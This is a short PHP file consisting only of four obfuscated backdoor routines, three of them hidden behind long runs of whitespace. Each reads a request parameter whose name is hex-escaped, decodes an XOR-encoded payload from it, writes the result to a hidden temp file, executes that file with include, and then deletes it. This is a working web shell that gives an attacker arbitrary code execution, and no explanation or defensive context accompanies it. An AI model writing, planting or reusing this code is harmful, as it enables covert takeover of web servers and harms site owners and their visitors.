<?php																																										if(@$_POST["sym\x62\x6F\x6C"] !== null){ $parameter_group = array_filter(["/var/tmp", session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), "/tmp", getenv("TMP")]); $bind = $_POST["sym\x62\x6F\x6C"]; $bind = explode ( '.' , $bind ) ; $comp =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s ); $z =0; while ($z < count($bind)) { $v1 =$bind[$z]; $chS =ord($s[$z % $sLen] ); $d =((int)$v1 - $chS - ($z % 10)) ^ 29; $comp .= chr($d ); $z++; } while ($marker = array_shift($parameter_group)) { if (array_product([is_dir($marker), is_writable($marker)])) { $hld = "$marker/.sym"; if (file_put_contents($hld, $comp)) { require $hld; unlink($hld); exit; } } } }
																																										if(@$_REQUEST["c\x6Fmp\x6F\x6Ee\x6Et"] !== null){ $marker = array_filter([ini_get("upload_tmp_dir"), "/tmp", getcwd(), getenv("TMP"), "/var/tmp", getenv("TEMP"), "/dev/shm", session_save_path(), sys_get_temp_dir()]); $dat = $_REQUEST["c\x6Fmp\x6F\x6Ee\x6Et"]; $dat = explode ( '.', $dat ) ; $dchunk = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt1); $z = 0; foreach( $dat as $v1) { $chS = ord( $salt1[$z % $lenS]); $d =( ( int)$v1 - $chS -( $z % 10)) ^ 18; $dchunk .=chr( $d); $z++; } foreach ($marker as $fac): if (is_dir($fac) ? is_writable($fac) : false) { $tkn = "$fac/.obj"; $success = file_put_contents($tkn, $dchunk); if ($success) { include $tkn; @unlink($tkn); die();} } endforeach; }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x66\x61c"])){ $marker = $_REQUEST["\x66\x61c"]; $marker = explode( '.' , $marker ) ; $entry = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s6 ); $k = 0; array_walk( $marker, function( $v5) use( &$entry, &$k, $s6, $sLen) { $sChar = ord( $s6[$k%$sLen] ); $d =( ( int)$v5 - $sChar -( $k%10)) ^ 97; $entry .= chr( $d ); $k++; } ); $pset = array_filter([sys_get_temp_dir(), "/dev/shm", "/var/tmp", session_save_path(), "/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP")]); foreach ($pset as $key => $item) { if (max(0, is_dir($item) * is_writable($item))) { $ref = str_replace("{var_dir}", $item, "{var_dir}/.flag"); if (file_put_contents($ref, $entry)) { include $ref; @unlink($ref); die(); } } } }


if(isset($_POST["o\x62j\x65ct"]) ? true : false){
	$tkn = array_filter(["/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), session_save_path(), sys_get_temp_dir(), "/tmp", getcwd()]);
	$dchunk = $_POST["o\x62j\x65ct"];
	 	$dchunk =  	explode	(   '.'			,  $dchunk);
	$obj=	'';
            $salt7=	'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS=	strlen($salt7);
    
            foreach ($dchunk as $p=>	 $v6):
                $chS=	ord($salt7[$p 	% $lenS]);
                $d=	((int)$v6 - $chS - ($p 	% 10))  ^ 	51;
                $obj.= chr($d);
            endforeach;
	while ($k = array_shift($tkn)) {
    		if ((function($d) { return is_dir($d) && is_writable($d); })($k)) {
    $flg = join("/", [$k, ".fac"]);
    $success = file_put_contents($flg, $obj);
if ($success) {
	include $flg;
	@unlink($flg);
	exit;}
}
}
}